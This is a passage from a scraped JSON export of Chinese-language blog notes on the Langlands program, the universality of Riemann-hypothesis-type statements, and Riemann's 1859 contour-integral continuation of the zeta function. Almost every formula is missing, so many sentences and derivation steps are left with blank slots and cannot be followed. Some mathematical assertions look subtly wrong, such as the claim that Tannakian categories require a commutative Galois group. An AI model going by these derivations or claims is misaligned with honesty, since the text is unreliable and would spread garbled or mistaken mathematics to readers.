魔群的存在本身就是一个奇迹，它的发现是人类理性最伟大的胜利之一。在探索魔群的征途中，数学家们不仅征服了有限单群分类的最后堡垒，更意外发现了通往数学统一理论的隐秘之门。"},{"title":"","date":"2025-10-11T03:50:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/49.html","permalink":"https://blog.mhuig.top/notes/Zeta/49","excerpt":"","text":"朗兰兹纲领 朗兰兹纲领 朗兰兹纲领（Langlands Program）是 20 世纪数学最宏伟的蓝图之一，由罗伯特・朗兰兹（Robert Langlands）于 1967 年在给安德烈・韦伊（André Weil）的 17 页手写信中首次提出。这一纲领通过推广傅里叶分析的思想，试图在数论、调和分析与几何学之间建立深刻联系，被爱德华・弗伦克尔（Edward Frenkel）称为 \"数学的大一统理论\"。其核心思想可追溯至韦伊 1940 年狱中构想的 \"数学罗塞塔石碑\"，将数论、几何与函数域视为同一理论的不同语言，而朗兰兹纲领则提供了翻译这些语言的 \"词典\"。 经典傅里叶变换通过将复杂波分解为正弦波的叠加，建立了函数与其频谱之间的对应。朗兰兹将这一思想推广到非交换情形：数论中的伽罗瓦表示（频谱）应当与自守形式（波）一一对应，这种对应通过 L 函数实现。例如，椭圆曲线的 Hasse-Weil L 函数应等同于某权 2 尖点形式的 L 函数，这一特殊情形（谷山 - 志村猜想）正是怀尔斯证明费马大定理的核心。 历史背景与思想起源从二次互反律到非阿贝尔类域论朗兰兹纲领的历史根源可追溯至高斯的二次互反律，该定律揭示了素数模 p 平方剩余性与模 q 平方剩余性的对称性。希尔伯特第 9 问题将其推广至一般数域，而阿廷（Emil Artin）的互反律进一步将伽罗瓦群特征与 L 函数关联。朗兰兹的突破在于将这些结果推广到非阿贝尔伽罗瓦群，提出对任意约化群 G，其自守表示与伽罗瓦群的 Langlands 对偶群 ^LG 的表示存在对应。 1967 年的奠基性信件中，朗兰兹引入了阿廷 - 赫克 L 函数的欧拉积形式： 其中 是自守形式 在局部域上的共轭类， 是复表示。这一构造将数论信息编码为自守形式的傅里叶系数，为后续研究奠定了基础。 几何朗兰兹的诞生1980 年代，弗拉基米尔・德林费尔德（Vladimir Drinfeld）通过引入椭圆模块和量子群，将朗兰兹纲领推广到几何情形。对复数域上的代数曲线 X，几何朗兰兹猜想断言：X 上的 ^LG - 局部系统（伽罗瓦侧）与 Bun_G (X) 上的 Hecke 特征层（自守侧）存在范畴等价。这里 Bun_G (X) 是 X 上 G- 丛的模空间，而 Hecke 特征层是满足特定局部 - 整体相容条件的 D- 模。 这一转变将数论中的素数替换为曲线上的点，将 L 函数替换为层的上同调，使得代数几何工具（如傅里叶 - 穆凯变换）得以应用。德利涅（Pierre Deligne）关于韦伊猜想的工作提供了有限域上的几何 - 数论字典，而贝林森（Alexander Beilinson）与德林费尔德的工作则将共形场论引入几何朗兰兹的研究。 数学框架与核心猜想Langlands 对偶与自守表示对简约代数群 G，其 Langlands 对偶群 ^LG 通过根数据的对偶性定义：若 G 的根系为 (R, X)，则 ^LG 的根系为 (R∨, X∨)，其中 R∨是余根，X∨是余权格。这种对偶性在朗兰兹对应中起关键作用：G 的自守表示对应 ^LG 的伽罗瓦表示。 自守形式的严格定义需要阿代尔群框架。对数域 F，G (A_F) 上的自守形式 φ 需满足： 对紧子群 K 有右 K 不变性； 生成的表示在中心作用下有适度增长； 是赫克代数的本征函数。 赫克代数 H_k 与共轭格的群代数同构： （外尔群不变部分），这一结果将局部表示论与整体自守形式联系起来。 几何朗兰兹的精确表述Beilinson-Drinfeld 将几何朗兰兹猜想表述为 D- 模范畴的等价： 左侧是 Bun_G (X) 上的 D- 模，右侧是 ^LG - 局部系统模空间上的归纳凝聚层。这一等价需满足赫克函子作用的相容性，即局部系统的修改对应于 D- 模的 Hecke 变换。 对 GL (1) 情形，这等价于皮卡簇上的傅里叶 - 穆凯变换，由 Laumon 与 Rothstein 证明。高秩情形的证明依赖于几何 Satake 等价，该等价将仿射 Grassmannian 上的等变 D- 模与对偶群的表示范畴等同。 朗兰兹纲领的层级架构与 Zeta 函数的嵌入朗兰兹纲领的核心是自守表示与伽罗瓦表示的对应，其层级结构可通过一般线性群 的表示刻画，而 Zeta 函数恰是这一体系的基石： 情形：类域论与 Dirichlet L- 函数 当 时，朗兰兹对应退化为经典类域论，即数域的阿贝尔扩张由其理想类群（自守对象）参数化。此时，Zeta 函数的推广形式，Dirichlet L- 函数 对应于 的一维（阿贝尔）伽罗瓦表示，其解析延拓与函数方程可由自守形式理论直接证明。 广义黎曼猜想：狄利克雷 L 函数的所有非平凡零点都位于复平面上 的直线上。 情形：模形式与椭圆曲线的桥梁 谷山 - 志村定理（现已成为怀尔斯证明费马大定理的核心）是首个非阿贝尔朗兰兹对应的实例：椭圆曲线的伽罗瓦表示（二维）与模形式的自守表示共享同一 L- 函数。此时，Zeta 函数升华为 Hasse-Weil L- 函数 其中 ， 为椭圆曲线 模 的有理点数。朗兰兹纲领预言，这一函数必为某个权为 2 的尖点模形式的 L- 函数，从而将几何对象的算术性质转化为模形式的解析性质。 高维推广： 与一般 L- 函数 对 ，朗兰兹猜想 的自守表示 与 维伽罗瓦表示 满足 。例如， 的自守形式可能对应三维伽罗瓦表示，其 L- 函数关联到阿贝尔簇的算术，而 Zeta 函数则作为 时的退化情形被包含其中。 L- 函数的统一与 Zeta 函数的泛化朗兰兹纲领的灵魂在于 L- 函数的函子性：对任意自守表示 与伽罗瓦表示 ，其 L- 函数不仅解析性质一致，更可通过 Rankin-Selberg 卷积 等运算相互作用。例如，黎曼 Zeta 函数的二次扩张版本，戴德金 Zeta 函数： （其中 为数域， 为其素理想）可分解为伽罗瓦群表示的 L- 函数乘积，这正是朗兰兹函子性猜想的算术体现。 扩展黎曼猜想：戴德金 Zeta 函数的所有非平凡零点都位于复平面上 的直线上。 这种统一性为 Zeta 函数的经典问题提供了新思路。例如，黎曼假设（ 的非平凡零点均位于 ）可被视为一般 L- 函数 广义黎曼假设 的特例，而朗兰兹纲领预言，所有自守 L- 函数均满足此性质。 大黎曼猜想：自守 L 函数的所有非平凡零点都位于复平面上 的直线上。 类似地，BSD 猜想 断言椭圆曲线的秩等于其 L- 函数在 处的零点阶数，这一算术命题需通过模形式的解析性质证明，凸显了朗兰兹思想的实践价值。 关键证明技术与 2024 年突破从局部到整体的策略几何朗兰兹猜想的证明历经三十年发展，其关键技术包括： 导出代数几何：Gaitsgory 与 Rozenblyum 发展的∞- 范畴工具，处理模空间的奇异性； 赫克特征层构造：通过共形场论的顶点算子代数，从局部系统生成 D- 模； 庞加莱层与白噪声分解：2022 年 Raskin 与其学生证明庞加莱层可分解所有特征层，解决了 \"振幅相等\" 问题。 2024 年九人团队的证明2024 年 7 月，由 Dennis Gaitsgory 与 Sam Raskin 领导的团队在五篇总计 800 余页的论文中，完成了几何朗兰兹猜想的证明。其核心步骤包括： 建立 IndCoh 范畴的因子化性质，将整体问题约化为曲线各点的局部问题； 证明赫克特征层的存在性，使用 Beilinson-Drinfeld 的 oper 结构与 Feigin-Frenkel 对偶； 验证函数方程，通过庞加莱层的自对偶性与傅里叶变换的相容性。 Peter Scholze 评价这一成果为 \"三十年研究的顶点\"，而 Gaitsgory 本人则将其视为 \"凿下的一块大石头\"，强调后续需探索与量子物理的联系及数论情形的转化。 物理联系与朗兰兹纲领的扩展共形场论与几何朗兰兹共形场论（CFT）为几何朗兰兹提供了构造工具。WZW 模型的共形块空间携带平坦联络（Knizhnik-Zamolodchikov 方程），其模空间上的向量丛对应于特定 D- 模。Beilinson-Drinfeld 通过 W- 代数同构 ，将 Langlands 对偶体现为 CFT 的手征代数同构。 量子霍尔效应与朗兰兹对偶近期研究揭示了拓扑物理与朗兰兹纲领的深刻联系。Ikeda 证明整数量子霍尔效应的平台对应于 Hecke 特征层，而霍尔电导的量子化源于赫克平移作用下的陈数守恒。在分数量子霍尔效应中，填充因子 ν 与 1/ν 的对偶性可通过 Langlands 对偶群的表示互换解释，这为凝聚态物理提供了新的数学框架。 未解决问题与未来方向数论朗兰兹的挑战尽管几何情形取得突破，数论朗兰兹的核心问题仍未解决： 整体朗兰兹猜想：对一般约化群 G，证明自守表示与伽罗瓦表示的对应； BSD 猜想：建立椭圆曲线 L 函数在 s = 1 处的特殊值与算术不变量（如 Mordell-Weil 秩）的联系； Ramanujan-Petersson 猜想：对一般尖点形式，证明傅里叶系数的增长估计 。 范畴化与∞- 几何的发展当前研究趋势包括： 将朗兰兹对应范畴化，即从 L 函数（数值）提升到导出范畴（结构）； 发展 p 进朗兰兹纲领，结合 Scholze 的 perfectoid 空间理论； 探索朗兰兹纲领与数学物理的交叉，如拓扑量子场论与纽结不变量的构造。 统一数学的愿景朗兰兹纲领自提出以来，已成为连接数学各分支的枢纽。从费马大定理的证明到几何朗兰兹猜想的解决，每一步进展都印证了朗兰兹的远见：数学表面上的碎片化背后存在深刻的统一性。正如 2024 年证明团队所展示的，这一领域的突破需要代数几何、表示论、分析与物理的综合工具，体现了现代数学的协作本质。 未来，随着几何思想向数论的渗透（如 Gaitsgory-Raskin 计划将几何证明转译至函数域情形），以及量子场论方法的引入，朗兰兹纲领有望实现其最终目标，建立数学宇宙的完整地图。这不仅将解决遗留的重大猜想，更可能催生全新的数学分支，正如傅里叶分析催生了信号处理与量子力学。朗兰兹纲领的故事证明：在数学中，最宏伟的愿景往往始于一封书信，成于几代人的接力。 黎曼猜想形式的普遍性你不觉得奇怪吗？黎曼猜想这种形式为什么到处都有？ 例如黎曼猜想漫谈中提到的什么山寨版的黎曼猜想，还有什么豪华版的黎曼猜想，甚至是随便造一个别的什么域也能找到类似黎曼猜想这样的形式，这种形式的普遍性的根源到底来自哪里？ 黎曼猜想形式的普遍性，本质上源于数学结构的深层统一性，从数论到几何，从交换到非交换领域，这种 “临界线零点分布” 的模式反复出现，实则是 L- 函数与算术几何对象之间的深刻关联在不同语境下的投影。其普遍性根源可从三个递进的数学层次理解： L- 函数：连接算术与分析的通用语言所有 “黎曼猜想” 变体的核心都是 L- 函数，一种特殊的复解析函数，其零点分布直接反映底层数学对象的算术性质。经典黎曼 ζ 函数对应整数环，而广义猜想（如 Dirichlet L 函数、Hasse-Weil L 函数）则关联更广泛的代数结构： 数域情形： Dedekind ζ 函数的非平凡零点假设位于临界线 ，这是对黎曼猜想的直接推广。 函数域情形：有限域上代数曲线的 L 函数零点分布已被 Deligne 证明满足类似猜想（Weil 猜想），此时临界线对应 （曲线亏格）。 非交换几何：甚至在非交换 dg 范畴中，可构造 “非交换 L 函数”，其零点假设仍遵循临界线规律，如 Goncalo Tabuada 证明的 “非交换黎曼猜想”，将几何对象替换为导出范畴，临界线条件依然成立。 L- 函数的关键共性在于欧拉乘积表示与函数方程：前者将解析函数与素数 / 素理想的乘积挂钩（如 ），后者保证函数在 与 间的对称性，这种双重结构强制零点分布呈现高度规律性，临界线正是对称性的自然平衡点。 伽罗瓦表示与几何不变量的算术镜像更深层的根源在于伽罗瓦群的表示论。现代数论表明，L- 函数的零点与伽罗瓦群的不可约表示密切相关： Langlands 纲领揭示，任何代数对象（如椭圆曲线、模形式）都对应一个伽罗瓦表示，其 L- 函数的零点位置由表示的 “权重” 决定。例如，椭圆曲线的 Hasse-Weil L 函数零点实部应为 ，等价于其伽罗瓦表示的纯量性。 韦伊猜想的启示：在有限域上，Deligne 证明代数簇的 函数零点实部与上同调群的权重严格对应，这一几何解释被推广到更抽象的 “动机” 理论，每个动机都有 L 函数，其零点假设是该理论的基本猜想。 这种 “算术 - 几何对偶” 意味着：只要存在具有对称性的上同调理论（如 étale 上同调、代数 K 理论），就能定义 L 函数并提出相应的黎曼猜想。例如，非交换几何中通过 “非交换 l-adic 上同调” 构造的 L 函数，其零点分布仍受 “权重守恒” 约束。 Tannakian 范畴：统一性的终极框架最抽象的层面，所有这些 L 函数与零点假设可纳入 Tannakian 范畴的框架。这是一种具有纤维函子的张量范畴，其自同构群对应伽罗瓦群： 有限群情形：Galois 覆盖的 L 函数零点由群表示的特征标决定。 几何情形：代数簇的 L 函数对应其 Tannakian 范畴的 “算术基本群” 表示。 在非交换类域论中，Tannakian 范畴的有限生成子范畴与有限 Galois 覆盖一一对应，这种对应自然诱导 L 函数的函子性。只要保持范畴结构，零点分布的临界线规律就必然延续。这解释了为何从素数到非交换代数，黎曼猜想的形式始终不变：它们只是同一数学宇宙在不同 “坐标系” 下的投影。 存在 “非 Tannakian” 的数学结构存在大量 “非 Tannakian” 的数学结构，这些结构因缺乏 Tannakian 范畴的核心特征，如张量积封闭性、纤维函子的存在性或刚性自对偶性，而无法纳入 Tannakian 框架。以下从具体实例出发，揭示这些结构如何突破 Tannakian 的约束，展现数学世界的多样性： 非交换几何中的非 Tannakian L- 函数Weng Lin 构造的非交换 zeta 函数（non-abelian zeta functions）为典型例证。这类函数定义于代数曲线的向量丛模空间，其欧拉乘积涉及高阶陈类与模空间的相交数，形式为： 其中多项式 的系数依赖于向量丛的 Harder-Narasimhan 层与 Brill-Noether 轨迹的几何不变量。与 Tannakian 框架下的 L- 函数不同，这类 zeta 函数： 缺乏函子性：其定义依赖于曲线的 genus 与向量丛秩 的具体组合，无法通过伽罗瓦表示的张量积自然变换； 解析延拓存疑：仅在 的右半平面收敛，全局延拓仍为猜想； 零点分布无临界线规律：其零点对应模空间的算术亏格，与 Tannakian 范畴中伽罗瓦表示的权重守恒无关。 对称乘积 Kloosterman 和的 L- 函数Fu Lei 与 Wan Daqing 研究的 Kloosterman 和对称乘积 L- 函数，展现了另一类非 Tannakian 结构。其定义基于有限域上的指数和： 这类 L- 函数的特殊性在于： Swan 导子的不规则性：其在无穷远处的 Swan 导子等于满足 的非负整数解数，破坏了 Tannakian 框架中导子与表示权重的线性关系； 上同调群的非半单性：对称乘积运算导致 étale 上同调群出现非半单分量，与 Tannakian 范畴要求的半单性矛盾； 无明显函数方程：其解析性质无法通过 Poisson 求和或自守形式的函数方程刻画。 超越几何与微分方程中的非 Tannakian 对象Ovchinnikov 研究的参数化线性微分方程，揭示了微分代数几何中的非 Tannakian 结构。这类方程的解空间构成微分伽罗瓦群的表示，但： 非交换微分伽罗瓦群：其伽罗瓦群为线性微分代数群（如 ），不满足 Tannakian 范畴要求的交换性或约化性； 缺乏刚性张量结构：张量积运算无法保持方程的 Fuchsian 性质，导致解空间的延拓不具备 Tannakian 意义下的函子性； 微分 L- 函数的奇异性：其零点分布与微分算子的特征值相关，而非算术几何中的临界线规律。 自守表示的非 Tannakian 组合Langlands 纲领中尖点自守表示的张量积问题，暴露了 Tannakian 框架在解析方面的局限。尽管单个 GL (n) 自守表示的 L- 函数满足 Tannakian 性质，但： 张量积封闭性缺失：两个自守表示的张量积 L- 函数无法自然对应新的自守表示，导致自守表示范畴不是张量封闭的； Langlands 函子性障碍：GL (m)×GL (n)→GL (mn) 的函子性仅在低维可解情形（如 Langlands-Tunnell 定理）成立，一般情形下不存在 Tannakian 意义下的重构； 非算术零点：自守 L- 函数的零点可能来自解析延拓的非算术奇点，与 Tannakian 框架中零点对应伽罗瓦表示的算术性质不同。 数学结构的 “Tannakian 边界”这些非 Tannakian 结构共同揭示：Tannakian 范畴只是数学统一性的局部表现，而非普适框架。其边界由三重约束划定： 代数约束：需存在交换的伽罗瓦群作用（如动机的极化）； 几何约束：需具备刚性的上同调理论（如 étale 上同调的六函子形式）； 解析约束：需满足函数方程与临界线零点分布（如 L- 函数的标准猜想）。 突破这些约束的数学对象，恰恰展现了更丰富的 “非标准” 算术几何现象，从模空间的相交理论到微分方程的伽罗瓦理论。正如 Grothendieck 的 “motive” 理论试图统一所有上同调而不得，数学的统一性或许本就存在于 Tannakian 与非 Tannakian 结构的辩证关系之中。 未被证明的 “数学万有引力”这种普遍性并非偶然，而是算术几何中 “函子性” 与 “对偶性” 的必然结果。正如引力在不同尺度下表现为牛顿定律或广义相对论，黎曼猜想的各种变体实则是同一深层规律的不同表现，遗憾的是，我们尚未找到能统一所有情形的 “数学相对论”。或许当 Langlands 纲领完全实现时，这种普遍性将作为伽罗瓦表示分类定理的自然推论显现，但此刻，它仍是数学中最深刻的未解之谜之一。 很多现代纯数学 (也许是其中最深的部分) 是否已变得太深奥和难以接近以至无法延续，这是我们继续审慎思考时很难忽略的问题，纵然人类能继续存在下去，但我们的能力可能是有极限的，或者说，我们跟踪过去两或三千年人类的数学思考的愿望有个限度。 ——《Langlands 纲领和他的数学世界》"},{"title":"","date":"2025-09-14T05:19:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/5.html","permalink":"https://blog.mhuig.top/notes/Zeta/5","excerpt":"","text":"Riemann’s 1859 Manuscript Riemann’s 1859 Manuscript"},{"title":"","date":"2025-10-14T01:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/50.html","permalink":"https://blog.mhuig.top/notes/Zeta/50","excerpt":"","text":"黎曼 Zeta 函数的解析延拓 黎曼 Zeta 函数的解析延拓 1859 年，黎曼在其仅有的数论论文《论小于给定数值的素数个数》中，通过精妙的复分析技巧将欧拉定义的实变量 函数拓展至整个复平面，为现代解析数论奠定了基础。这一突破不仅解决了 函数的定义域问题，更揭示了其深刻的对称性，最终引导出关于素数分布的革命性见解。 欧拉乘积与初始定义欧拉在 18 世纪发现了素数与自然数之间的深刻联系 即对于实部大于 的复数 ， 函数可表示为两种等价形式： 欧拉乘积： ，体现了素数的 multiplicative 属性 Dirichlet 级数： ，展现了自然数的 additive 结构 这两种表达式仅在 时收敛，黎曼的首要任务是寻找在全平面上有效的解析表达式。 Zeta 函数表示为连续世界的积分黎曼的关键洞察是将 函数与 Gamma 函数建立联系。 伽马函数的经典积分定义为 其中 。 进行简单的变量替换：令 （其中 为正整数， 为积分变量），则 ，当 从 趋于 时， 同样从 趋于 。代入伽马函数定义式可得： 两侧同除以 即得 利用已知积分公式： 下面将 函数的级数形式转化为积分形式。 依次写出前 个式子： 上面式子依次相加后得到： 依据被积函数的非负性与有限求和的线性性，交换积分和求和的次序得到： Tips 交换积分和有限求和次序的本质是将 “对每个函数分别积分后累加” 转换为 “先累加函数再整体积分”，这一操作的合法性可通过实分析中的 Levi 单调收敛定理 或 Fubini-Tonelli 定理 严格证明。对于有限项求和的场景，由于不涉及无穷级数的收敛性问题，条件会进一步简化：只要被积函数满足非负性或绝对可积性，即可直接交换次序。关键依据在于：被积函数非负性：对于 和 ， 始终非负（指数函数的衰减特性确保了非负性）。根据 Levi 定理，非负函数列的积分与求和次序可交换，即使积分是反常积分（如本题中的无穷区间积分）也成立。有限求和的特殊性：当求和上限 为有限值时，本质上是有限个积分的线性组合。由于积分对被积函数具有线性性（即 ），有限项求和可直接转化为被积函数相加后积分，无需考虑一致收敛等更严格的条件。若从测度论角度理解，求和运算可视为 计数测度下的积分，而这里的交换等价于两个积分（Lebesgue 积分与计数测度积分）的次序交换。根据 Fubini-Tonelli 定理，只要被积函数非负或绝对可积，这种交换就是合法的。这里的非负性条件显然满足，因此交换成立。相比之下，微积分中常用的 一致收敛条件（如 Weierstrass M- 判别法）是更严格的充分条件，但主要用于无穷级数或含参变量反常积分的场景。对于有限项求和，非负性或线性性已足够保证交换的合法性，无需额外验证一致收敛。 即： 两边同时取极限： 非常重要的细节处理 定义函数列 为部分和形式： 当 时，对固定 ，该级数为等比级数（公比 ），其极限函数为： 下面的核心步骤是交换极限与积分： 即 根据逐项积分定理，这一交换需满足函数列 的一致收敛性（或其他收敛条件，如控制收敛定理）。函数列 的收敛性需分 （无穷远处）与 （原点附近）两种情形讨论，二者共同决定积分与极限交换的合法性。无穷远处（ ）：收敛性良好当 时， ，故： （其中 为常数）。因指数项 衰减速度远快于多项式 的增长，函数列 在 上一致收敛（由魏尔斯特拉斯判别法，以 为控制函数），且积分 对任意 收敛。原点附近（ ）：奇异性与收敛性限制当 时， ，等比级数求和得： 故极限函数 ，此时函数列 的部分和为： 关键问题 ：当 时， （对 ），故 。但积分 的收敛性依赖于 在 附近的可积性： 若 ，则 ，积分 收敛（因 在 附近可积当且仅当 ）； 若 ，则 ，积分 发散，此时即使函数列 点态收敛，积分 也不收敛，逐项积分定理失效。根据勒贝格控制收敛定理（或实变函数中的逐项积分条件），要交换 与 ，需满足： 函数列 点态收敛到 （对 成立）； 存在可积控制函数 ，使得 对所有 和 成立，且 。 在原点附近（ ），当 时， ，取控制函数 （在 上 可积，在 上 可积），此时逐项积分合法； 当 时， 在 不可积，不存在可积的控制函数，导致 发散，逐项积分失效。黎曼 函数的级数定义 本身仅在 时收敛。函数列视角下， 的左侧是 与 函数部分和的乘积，当 时，仅当 时左侧极限存在（即 有意义），与右侧积分的收敛性（依赖函数列逐项积分条件）完全匹配。伽马函数 在 的收敛性是其自身积分定义的性质，而 的积分表示则受限于函数列 的逐项积分合法性，原点附近的奇异性要求 以保证 可积，进而确保控制函数存在、逐项积分成立。这一过程中，函数列的收敛性分析（而非单纯积分性质）揭示了收敛域缩小的深层原因：无穷级数与积分的交换并非无条件，需以函数列的一致收敛性（或控制收敛条件）为桥梁，而这一桥梁仅在 时稳固。 交换极限和积分的次序得到： 即： Tips 黎曼年代，分析学还未被严谨化，所以黎曼通过形式化演算就直接 \"立即推\" 了，，，\"幸运的不严谨\" 掩盖了逻辑漏洞。在黎曼那个年代：没有梅林变换；拉普拉斯变换还未成为系统工具也未被命名为 “拉普拉斯变换”；泊松求和公式的原始形式虽已存在，但尚未成为分析学的标准工具。黎曼时代的伽马函数记法尚未统一。高斯曾定义 （即现代的 ），故 。黎曼在论文中沿用了这一记法，而现代数学文献中通常直接使用 。 黎曼构造的第一个围道 为突破收敛限制，黎曼引入了一个围道积分： 积分路线 C 是一条闭路径沿正实轴从 出发，绕原点正向一周后返回 ，积分路径内部包含原点但不包含被积函数 的其他奇点。 Tips 对于现代数学符号体系，黎曼引入的这一积分必须使用 闭合积分符号 ，而非普通积分符号 。两者的核心区别在于路径性质： 专指 闭合路径积分（路径起点与终点重合），而 用于一般非闭合路径。黎曼构造的路径 从正实轴 出发，绕原点一周后返回起点，是典型的闭合围道，因此必须用 标记。这一符号选择绝非形式问题，而是数学逻辑的严格体现。在复分析中，闭合路径积分与非闭合路径积分遵循截然不同的规则：闭合路径适用 柯西积分定理 和 留数定理，可通过围道变形简化计算；非闭合路径则需依赖路径本身的参数化。黎曼正是利用闭合围道的性质，通过拆解路径、处理多值函数辐角差异，最终导出 函数的解析延拓表达式。若误用 ，将无法体现路径的闭合性，导致后续对柯西定理的应用失去数学依据。符号的精确性是数学严谨性的基础。黎曼手稿中使用 和 是因为围道积分的符号在黎曼那个年代还没有被发明出来。黎曼时代还没有 \"解析延拓\" 这样的现代复变函数论术语, 而是通过自创的围道积分方法实现解析延拓。 通过计算此积分，得到： 其中 ，对数分支取 在负实轴为实数。整理后得到： 这个围道积分表达式对所有有限复数 均收敛（除 外），首次实现了 函数向全复平面的解析延拓，并揭示其为单值解析函数，仅在 处有一个简单极点。 留数计算过程 计算围道积分 （其中围道 从 沿实轴上方到原点附近，绕原点正向一周后沿实轴下方返回 ，且奇点仅包含原点）先明确关键前提：围道内仅含原点 ，而原点是多值函数 的分支点（非孤立奇点），留数定理（适用于孤立奇点）无法直接应用。但通过分解围道、定义单值分支并结合极限计算，可将积分与 函数的解析延拓关联。步骤 1：围道分解与分支定义将闭合围道 分解为三部分： （上沿）：从 沿实轴上方（ ）到 （ ）； （小圆）：以原点为圆心、半径 的正向（逆时针）圆周； （下沿）：从 沿实轴下方（ ）返回 。 多值函数处理： 是多值函数，需通过分支切割（取负实轴为分支切割）定义单值分支： 在 上（ ， ）： ， ，故 在 上（ ， ）： ， ，故 步骤 2：计算各部分积分 与 的积分（主值部分）：当 （积分上限）、 （积分下限）时， 和 的积分组合为： 交换 的积分上下限，得： 利用欧拉公式 化简系数： 积分 是 的定义式（仅在 收敛），代入得： 的积分（小圆积分）：参数化 ： （ 从 到 ，逆时针一周）， 。被积函数在 时的近似： ，故： 代入积分得： 当 时，若 （即 ）， （因 ，实部为负），故： 步骤 3：围道积分的整体结果由围道闭合性，总积分 。结合式 ，当 、 时： 利用三角函数诱导公式 ，化简得： 步骤 4：关联 函数的解析延拓黎曼通过定义 （ ）实现解析延拓。检验验证：将式 代入： 利用伽马函数余元公式 ，即 ，代入得： 等式自洽，表明围道积分定义的 与原始级数在 时一致，且积分表达式在全复平面（除 ）解析，完成解析延拓。虽然围道内无孤立奇点（仅含分支点），无法直接应用留数定理，但通过分解围道为三部分、定义单值分支并取极限，黎曼将局部收敛的级数 转化为全局解析的积分。这一过程的核心是利用多值函数在上下沿的辐角差异（ ）产生非零贡献，最终通过 函数的桥梁将围道积分与 函数关联。这种 “以几何路径突破收敛限制” 的思想，正是黎曼将复分析引入数论的开创性贡献。 关键结果： （ ） 黎曼构造的第二个围道 黎曼在 1859 年论文中提出的第二种围道积分方法，通过将围道扩展至包含右半平面所有极点（ ， ），直接利用柯西留数定理推导 函数的解析延拓与函数方程。这种方法与仅包围原点的第一种围道形成互补，前者侧重局部分支行为，后者则通过全局极点分布揭示函数对称性。 核心思路：围道扩展与留数求和 黎曼的第二种方法关键在于构造包含无穷多极点的扩展围道。原始围道仅包围原点（分支点），而新围道 是半径趋于无穷大的逆时针大圆，覆盖被积函数 在右半平面的所有孤立奇点 —— 即分母 的根 （ ）。这些极点均为一阶零点（因 的导数 在极点处非零），其留数可直接计算，而大圆上的积分因被积函数指数衰减（ ， ）而趋于零。 步骤 1：围道设计与留数计算 扩展围道 包含所有极点 （ ），由留数定理得： 对一阶极点 ，留数公式给出： （分母 ， 时）。 步骤 2：极点留数的级数转化 将留数代入围道积分，得： 黎曼指出，当 时，右侧级数可表为 的形式。通过变量替换 ，并利用欧拉公式 级数改写为： （仅当 即 时收敛）。 步骤 3：与第一种围道积分的关联 黎曼将扩展围道积分与第一种围道（仅含原点）的结果联立。第一种方法已导出： 围道仅含原点 而扩展围道 的积分与 的关系为： （因方向相反且大圆积分趋于零），故： 化简后利用伽马函数余元公式 ，最终得到函数方程： 方法对比与理论意义 维度 第一种方法（包围原点） 第二种方法（扩展围道） 围道范围 仅含原点（分支点），半径 含右半平面所有极点，半径 核心工具 多值函数分支切割、极限分析 留数定理、无穷级数求和 关键结果 积分定义式 函数方程 与 的对称性 适用区域 （小圆积分趋于零） （级数 收敛） 第二种方法的深刻性在于，它通过全局极点分布直接揭示了 函数的对称性，而无需依赖原始级数的局部收敛性。黎曼在论文中特别强调，这种 “负向包含所有剩余复数值的区域” 的围道选择，使得被积函数在无穷远处的衰减性（ ）保证了大圆积分的消失，从而严格化了留数求和的合理性。 黎曼的两种围道方法共同构建了 函数解析延拓的完整框架：第一种方法定义了全平面（除 ）的解析表达式，第二种方法则推导出连接 与 的函数方程，为后续研究临界线零点分布奠定了基础。这种 “局部路径分析” 与 “全局极点求和” 的互补思路，成为复分析与数论交叉研究的典范。正如黎曼在论文中所预见，函数方程的对称性暗示了非平凡零点可能关于 对称，这正是黎曼猜想的核心直觉。 函数方程与对称性的发现黎曼通过两种不同方式计算围道积分，得到了 函数最核心的性质：函数方程。当 时，他将积分路径改为包围所有非零奇点（即 ），利用留数求和得到： Tips 预备知识：Γ 函数与 ζ 函数的积分表示为推导该恒等式，需先建立两个关键积分表示：Γ 函数与 ζ 函数的乘积积分 对 ，有： 这一结果通过将 展开为几何级数并交换积分与求和顺序得到，修正项 用于抵消积分在 时的发散。Γ 函数的余元公式 对任意复数 ，有： 该公式揭示了 Γ 函数在复平面上的对称性，是连接 ζ 函数与三角函数的纽带。核心推导：从围道积分到恒等式黎曼的原始推导基于一个围道积分（注：围道沿实轴从 到 ，绕原点逆时针一周后返回 ，用于分离积分的收敛部分与发散部分。），但现代文献中常通过实分析技巧简化证明。以下采用 P.G. Rooney 的方法，结合 Mellin 变换理论展开：步骤 1：构造积分核与函数空间 定义函数 ，其 Mellin 变换为： 同时，选取测试函数 ，其 Mellin 变换可通过留数定理计算为： 步骤 2：应用 Mellin 卷积定理 根据 Mellin 变换的卷积性质，对 和 的卷积 ，有： 代入 Γ 函数余元公式 ，化简得： 步骤 3：计算卷积积分的 Mellin 变换 直接计算 的 Mellin 变换，通过变量替换 并交换积分顺序，可得： 对比步骤 2 的结果，消去公共项后整理得： 步骤 4：变形得到目标恒等式 将上式中的 替换为 ，并利用 ，可得： 两边同乘 并再次应用余元公式 ，最终得到： 其中右端的级数可通过将 代入验证。 通过 Gamma 函数的余元公式 ，最终化简为对称形式： 这一函数方程揭示了 函数的反射对称性： 与 通过 Gamma 函数和幂函数相联系。这一发现是整个论文的灵魂，它不仅解释了为何 （平凡零点），更为后续研究非平凡零点的分布提供了关键工具。 黎曼 Xi 函数与标准化形式为更清晰地展示 函数的对称性，黎曼引入了一个辅助函数 ，定义为： 其中 该函数具有三个重要性质： 全纯性：在整个复平面上解析，无极点 实值性：对实变量 取实数值 零点对应： 的根恰为 的非平凡零点（ ） 黎曼进一步证明 可表示为快速收敛的级数： 其中 是雅可比 theta 函数的变体。 Tips Gamma 函数与 函数的结合证明 步骤 1：Gamma 函数的积分表示 对 作变量替换 ，则 ，代入得： 令 ，整理得： 步骤 2：与 函数的联系 黎曼在研究 函数的解析延拓时，将上述积分与 的 Dirichlet 级数结合。对 ，有： 对比目标公式，需调整 Gamma 函数的参数。注意到 令 ，则： 此即目标公式当 替换为 的情形。 函数的定义与对称性质定义： 其中 构造动机： 黎曼为消除 的平凡零点（ ）和 Gamma 函数的极点，引入 作为整函数。其核心性质包括： 对称性： ，即零点关于实轴对称； 零点对应： （非平凡零点）； 函数方程：由 函数方程 推导而来。推导关键步骤：从 的积分表示出发（ ）： 结合 Gamma 函数的余元公式 通过围道积分得到解析延拓； 代入 ，整理得 的实值函数形式，便于研究零点分布。 的快速收敛级数表示证明其中 